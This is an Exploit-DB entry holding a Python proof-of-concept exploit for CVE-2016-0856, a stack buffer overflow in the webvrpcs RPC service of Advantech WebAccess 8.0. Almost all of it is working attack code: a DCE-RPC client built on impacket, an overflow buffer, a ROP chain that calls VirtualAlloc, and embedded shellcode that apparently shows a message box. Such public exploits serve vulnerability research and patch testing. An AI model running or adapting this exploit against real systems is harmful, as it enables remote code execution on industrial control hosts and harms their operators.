Advantech WebAccess < 8.1 - webvrpcs DrawSrv.dll Path BwBuildPath Stack-Based Buffer Overflow

EDB-ID: 44376
Author: Chris Lyne
Published: 2018-03-30
CVE: N/A
Type: Remote
Platform: Windows
Aliases: N/A
Advisory/Source: N/A
Tags: Remote
Vulnerable App: N/A

    
# Exploit Title: Advantech WebAccess < 8.1 webvrpcs DrawSrv.dll Path BwBuildPath Stack-Based Buffer Overflow RCE
# Date: 03-29-2018
# Exploit Author: Chris Lyne (@lynerc)
# Vendor Homepage: www.advantech.com
# Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.0/AdvantechWebAccessUSANode8.0_20150816.exe
# Version: Advantech WebAccess 8.0-2015.08.16
# Tested on: Windows Server 2008 R2 Enterprise 64-bit
# CVE : CVE-2016-0856
# See Also: https://www.zerodayinitiative.com/advisories/ZDI-16-093/

import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport

def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
except Exception, e:
print "Exception encountered..." + str(e)
sys.exit(1)
return res

if len(sys.argv) != 2:
print "Provide only host arg"
sys.exit(1)

port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"

host = sys.argv[1]

string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)

dce = trans.get_dce_rpc()
dce.connect()

print "Binding..."
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)

print "...1"
stubdata = struct.pack("<III", 0x00, 0xc351, 0x04)
call(dce, 2, stubdata)

print "...2"
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print "Something went wrong"
sys.exit(1)
res = struct.unpack("III", res)

if (len(res) < 3):
print "Received unexpected length value"
sys.exit(1)

print "...3"

# MessageBoxA() Shellcode
# Credit: https://www.exploit-db.com/exploits/40245/
shellcode = ("\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0")

def create_rop_chain():
rop_gadgets = [
0x0704ac03, # XOR EAX,EAX # RETN ** [BwPAlarm.dll] eax = 0
0x0706568c, # XOR EDX,EDX # RETN ** [BwPAlarm.dll] edx = 0

0x0702455b, # ADD EAX,40 # RETN ** [BwPAlarm.dll] ** eax = 0x40
0x0702823d, # PUSH EAX # ADD BYTE PTR DS:[ESI],7 # MOV DWORD PTR DS:[7070768],0 # POP ECX # RETN
# ecx = 0x40
]
for i in range(0, 63):
rop_gadgets.append(0x0702455b) # ADD EAX,40 # RETN ** [BwPAlarm.dll] **
# eax = 0x1000

rop_gadgets += [
0x0702143d, # ADD EDX,EAX # ADD AL,0 # AND EAX,0FF # RETN 0x04 ** [BwPAlarm.dll]
# edx = eax
# edx = 0x1000

0x07065b7b, # POP EDI # RETN [BwPAlarm.dll]
0x41414141,
0x07059581, # RETN (ROP NOP) [BwPAlarm.dll]
# edi = RETN

0x0705ddfd, # POP EAX # RETN [BwPAlarm.dll]
0x0201e104, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]
0x070630eb, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwPAlarm.dll]
0x070488f7, # PUSH EAX # MOV EAX,DWORD PTR DS:[EDX*4+7068548] # AND EAX,ESI # POP ESI # POP EBX # RETN
# esi -> PTR to VirtualAlloc
0xFFFFFFFF # ebx = -1
]
for i in range(0, len(shellcode)+1):
rop_gadgets.append(0x0703e116) # INC EBX # MOV AX,10 # RETN ** [BwPAlarm.dll]
# ebx = size of shellcode

rop_gadgets += [
0x070441d1, # POP EBP # RETN [BwPAlarm.dll]
0x0703fe39, # POINTER INC ECX # PUSH ESP # RETN ** [BwPAlarm.dll] **
# ebp -> Return to ESP

0x0705ddfd, # POP EAX # RETN [BwPAlarm.dll] ------ Modified by me
0x90909090, # nop
# eax = 0x90909090

0x07010f5c # PUSHAD # RETN [BwPAlarm.dll]
]

return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

# construct buffer
buf = "A"*379
buf += "\x33\xb7\x01\x07" # 0701b733 RETN
buf += create_rop_chain()
buf += shellcode

# ioctl 0x278E
stubdata = struct.pack("<IIII", res[2], 0x278E, len(buf), len(buf))

fmt = "<" + str(len(buf)) + "s"
stubdata += struct.pack(fmt, buf)

print "\nDid it work?"
call(dce, 1, stubdata)

dce.disconnect()

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